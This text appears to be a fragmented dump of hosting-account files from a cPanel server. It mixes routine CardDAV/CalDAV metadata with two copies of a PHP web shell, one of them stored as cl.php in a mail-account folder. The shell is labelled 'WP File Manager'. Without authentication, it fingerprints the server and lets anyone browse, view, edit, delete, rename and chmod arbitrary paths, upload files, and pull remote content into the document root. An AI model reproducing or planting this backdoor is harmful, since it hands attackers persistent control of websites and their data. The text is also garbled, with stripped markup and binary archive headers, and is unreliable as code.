'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]ބÃZBB$serbia@dunyagozbalkans.com/.metadatanu"º] €[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] type VCALENDAR description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 PK“&{]™bBB!info@checkmytherapy.com/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 type VCALENDAR PK“&{]„N9³§Ë§Ëinfo@checkmytherapy.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
